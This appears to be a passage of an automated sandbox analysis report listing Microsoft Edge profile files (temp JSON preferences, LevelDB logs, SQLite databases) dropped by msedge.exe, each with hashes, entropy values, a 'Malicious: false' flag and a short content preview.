Size (bytes):	40503
Entropy (8bit):	5.561681110283074
Encrypted:	false
SSDEEP:	768:4EsFt2Wfr7pLGLpfRW5wRtf4dC8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPviFmlIYF:4vD2A9cpfRWaRtfoCu1jaeymrxdMrTTe
MD5:	CF195F7C71E201724B76440007089113
SHA1:	76CDCBB01565459E2BA538C1F9CDE65CF5286E46
SHA-256:	7718623EF3BA56224DB33F975B54310138C1D27C8590EDA3FC3649A23D28E894
SHA-512:	C59191F83B9201DFC2F903BADA2D2E50BCB4EDF773A223FB8947ADE97846A52234B6118F9C9A5E50D414B91AF218AC02DDF1C7C6796A201D7CA5006CE434E16B
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376374885268394","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376374885268394","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\31cfffa9-d16f-43c4-aa35-5c59ed1b4e09.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Reputation:	unknown
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\4cf8a51d-6a5f-4f4e-9ccd-eb06e11d7c1a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17671), with no line terminators
Category:	dropped
Size (bytes):	17673
Entropy (8bit):	5.483540708562413
Encrypted:	false
SSDEEP:	192:st4J99QTryDiuabatSuyp9sfTjRaFvrEV951k4cuYFxsQjOK7RNtdPa8ebV+FMH9:st4PGQSu49srdCDgsZtNHqbG4QwA3M
MD5:	6328263742F8F3C89FDBF6606984BBCA
SHA1:	FE3CEE580D31930770D680EC2DFF08A568F9AA8C
SHA-256:	C8BCF2EC62476411A5FD5A45681F68A633AB7C2F9B0162F7923D9E0ECD1C00C0
SHA-512:	5CA42245316BED6FD875D1835155686B15E96B2136F95A6EAC4F869738D84B8B53204F25AB1A1E239156B669445ED3BA7EB69F818438F347B63D7F05892DF3A3
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376374885889006","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\59dfe306-c1c1-47ed-a7ab-8917ac63f68d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17507), with no line terminators
Category:	dropped
Size (bytes):	17509
Entropy (8bit):	5.486834842101755
Encrypted:	false
SSDEEP:	192:st4J99QTryDiuabatSuyp9sfTjRaFvrEV951k4cuYFxsQjOK7RNtdPa8ebV+FMHT:st4PGQSu49srdCDgsZtNHqbG4QwsM
MD5:	A8E432D9BB945797EB68D1F7747631AD
SHA1:	46578ADCCEB5DAA4C1FF6913F0E715ED840F846B
SHA-256:	271C1995260F3C925684074BC0F554A259C7A2C4F69CB8AEACDA1D534FBCA390
SHA-512:	77E00F869D1160CA8039A7B0D915912E1CB21A08D75C9DC7295CE4C6345095319F8FEEC0E7420FC72F781982BF92C8D144B84C726370829C55AD232A687CD385
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376374885889006","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\65c8ae08-9fed-4bbb-8247-005cb7653d17.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13230
Entropy (8bit):	5.277515082134239
Encrypted:	false
SSDEEP:	192:st4J99QTryDigabatSuyp9sfTjRaFvrEV951kEPa8ebV+FMHQAoUNPu4YJ:st4PGKSu49srdCDgcbG4QWM
MD5:	57B17AA67B3006167FEDC5AA3B952CFF
SHA1:	BB2B55EC73EB6A3055091D4830043B8A25404EC4
SHA-256:	39D7852B3F424EBBE6347991EC8BD953CD601CC39CBAF6FC4887D509CB9D7767
SHA-512:	B5D73E64F14E09A4F77414203A56CE45A459029D4CD8B7B64F492F7AF0E6004009C88D8DBDCD70CEE382C4782E8A57CE3EDD4941AF7A683698D38EBDF94208CC
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376374885889006","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.243538758584758
Encrypted:	false
SSDEEP:	6:HUT0XBh1N723oH+Tcwtp3hBtB2KLlVUT0BQ+q2PN723oH+Tcwtp3hBWsIFUv:3RhaYebp3dFLf7vVaYebp3eFUv
MD5:	E0E20940AB1B2B95366071C64A52119B
SHA1:	C1AA9DE6E3347C73D28583272C31B92A6879767F
SHA-256:	FA9793D2310D7B181960256E375AE09D530FB137772F87A05C9DFC191DC87855
SHA-512:	EE3A16106BD4726ACA6897AA4C80EDC3F9DC5CCD70DA852507B26BBCA81288F73C9CEFEE5CF96B4FEB62841AA8886018BFDCF2EAA0964DC31DE004096CF74A83
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:31.085 1df8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/17-22:41:31.093 1df8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Reputation:	unknown
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222868701454831
Encrypted:	false
SSDEEP:	24576:IbPMZpV8fI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:IbkZpV8fx2mjF
MD5:	C541AD64847DC818E93D432AF531EC69
SHA1:	1A8CD71156A9209DF21A3DE32745A5A1836B994A
SHA-256:	EA85DC25B95D04BD22375E0CBA3E98407DA571464D0F3495769F8115D6B980C4
SHA-512:	96C0C6A6D3C73BC4ADC79EB7275779372177FA28AC904A13982806B69D728806BEFEFCA54D1AA62F3D008045D76EF249D7C2DC439D62B32E1A0B6473CCAA703E
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.1.f.+.................QUERY_TIMESTAMP:arbitration_priority_list4...13340960289901340.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.093111863683023
Encrypted:	false
SSDEEP:	6:HUT0fzOSQL+q2PN723oH+Tcwt9Eh1tIFUt8YUT0foQG1Zmw+YUT0xSQLVkwON72w:3bmyvVaYeb9Eh16FUt82A5/+2JR5OaYf
MD5:	BF85ADD13D62D4F7AB9230E4009DD594
SHA1:	CA4B9AB7F00A7CD4065B839D0E3230A5B3E41452
SHA-256:	1B5F014C708FAE7F775334C954CF7B9BDD3D7E7752AE815D139D1C3ACAEC1781
SHA-512:	788538CE063F87CAAAE9E44408E3972FA08BF0061D8365613926C127F26CB7DFF6E5AB2C99FE856F11256139A81A95FFB2A721DE185DF399DA4805E168FDC884
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:31.007 1418 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/17-22:41:31.009 1418 Recovering log #3.2024/11/17-22:41:31.015 1418 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.093111863683023
Encrypted:	false
SSDEEP:	6:HUT0fzOSQL+q2PN723oH+Tcwt9Eh1tIFUt8YUT0foQG1Zmw+YUT0xSQLVkwON72w:3bmyvVaYeb9Eh16FUt82A5/+2JR5OaYf
MD5:	BF85ADD13D62D4F7AB9230E4009DD594
SHA1:	CA4B9AB7F00A7CD4065B839D0E3230A5B3E41452
SHA-256:	1B5F014C708FAE7F775334C954CF7B9BDD3D7E7752AE815D139D1C3ACAEC1781
SHA-512:	788538CE063F87CAAAE9E44408E3972FA08BF0061D8365613926C127F26CB7DFF6E5AB2C99FE856F11256139A81A95FFB2A721DE185DF399DA4805E168FDC884
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:31.007 1418 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/11/17-22:41:31.009 1418 Recovering log #3.2024/11/17-22:41:31.015 1418 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46325074508224307
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuG:TouQq3qh7z3bY2LNW9WMcUvBuG
MD5:	DAA7D315D0D9B548ED39DD800EDFAA6A
SHA1:	020D8A5928D6C6B2A08741D4751607966F876CAD
SHA-256:	E5BAEF279BE636B44DC20320553124F41991CE3F0AE7FC212E2D8537B1BA7B03
SHA-512:	29057A5D14BE8E7E07D700375D9873388214B6639B617A7B920F68C39EF88B8A27E450699BA1654E7A3F2894EC71BFE822CD259F02CED5C9B244EDD9D99985E3
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.211917584721192
Encrypted:	false
SSDEEP:	6:HUT0u4A+q2PN723oH+TcwtnG2tMsIFUt8YUT0uiXJZmw+YUT0uiX9VkwON723oHC:3u4FvVaYebn9GFUt82ui5/+2uiT5OaYi
MD5:	407655C775074F1B882521EF67688A2A
SHA1:	196880994336A1430EE7824D2072771A03EDD66A
SHA-256:	4C05BEC0396BF16E97C7B4734167138E07C57EA7D4FB11ABEBA467CDE8B87CA6
SHA-512:	41E237D681A5EC34C98C394B687337CA5C7E18573C43169935C73542B3144E4ADE5A7FAD44DF798C89ECC0B2C99AB8008B313D2CBE36E2E7D29A77324037D0A2
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.268 1a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/17-22:41:25.269 1a8 Recovering log #3.2024/11/17-22:41:25.269 1a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	349
Entropy (8bit):	5.211917584721192
Encrypted:	false
SSDEEP:	6:HUT0u4A+q2PN723oH+TcwtnG2tMsIFUt8YUT0uiXJZmw+YUT0uiX9VkwON723oHC:3u4FvVaYebn9GFUt82ui5/+2uiT5OaYi
MD5:	407655C775074F1B882521EF67688A2A
SHA1:	196880994336A1430EE7824D2072771A03EDD66A
SHA-256:	4C05BEC0396BF16E97C7B4734167138E07C57EA7D4FB11ABEBA467CDE8B87CA6
SHA-512:	41E237D681A5EC34C98C394B687337CA5C7E18573C43169935C73542B3144E4ADE5A7FAD44DF798C89ECC0B2C99AB8008B313D2CBE36E2E7D29A77324037D0A2
Malicious:	false
Reputation:	unknown
Preview:	2024/11/17-22:41:25.268 1a8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/17-22:41:25.269 1a8 Recovering log #3.2024/11/17-22:41:25.269 1a8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.613042057173092
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mW/axWMAl9Br:TLapR+DDNzWjJ0npnyXKUO8+jUpRd4mL
MD5:	5C4C8FC1C90C8A3A6599A473F3FCA27D
SHA1:	D6CB7D3E0959573CBA9D34CADB88D0B106B01582
SHA-256:	F83AEFFF2438A1D4D49B79FD9D2714DAB1E31AB9D655834269135DCD70E2ECFB
SHA-512:	700815DD03C61DC7363D22B000050D69910178367DECFCCF0B95E27659B7523A2A7FD9CE07C83C430572B852DB6BB4E5A745EC0DBCC60AB00616299318970115
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354105518311597
Encrypted:	false
SSDEEP:	6144:hA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:hFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	871ACF8E9285782C4A95B1D87C4EAB16
SHA1:	057C4F0CCB37882B8E5DE31D64464437EEB2D3E8
SHA-256:	682E98C944DE1AEB56667A3EB0D73F3CEB0138D584F0B0922CA91808739F91CE
SHA-512:	E2765F9116DE3172FE18312BA56225B521A1CD86DF2DB962C29725E98419E17E208057CB5FE88E34E96CF9967E40E14B285816E0B301A43DC34C4C446258E8A9
Malicious:	false
Reputation:	unknown
Preview:	...m.................DB_VERSION.14_..q...............&QUERY_TIMESTAMP:domains_config_gz2...13376374893478980..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.164985380068056
Encrypted:	false
SSDEEP:	6:HUT0Xuh1N723oH+Tcwtk2WwnvB2KLlVUT0cQ+q2PN723oH+Tcwtk2WwnvIFUv:3XuhaYebkxwnvFLfkvVaYebkxwnQFUv
MD5:	EA6A920E1BB2FBCAEFE0FF1DC75EE4D9
SHA1:	65C599DD3559084BB425483C4BC03E7EEC6AEEDB
SHA-256:	E735402082A08C80E613BC6A7A062CCA9E9A429B332FF483A097B1C49CCA2D1D
SHA-512:	B0CDC0AB5151E6C6690FF80A4521CB759E6C5912D4DE6FA13172F6A6B3924E03C628B42E73A7477C5792E4BB862C566BA0B863AAF4E324D43BB318691877E59E
Malicious:	false
Reputation:	unknown
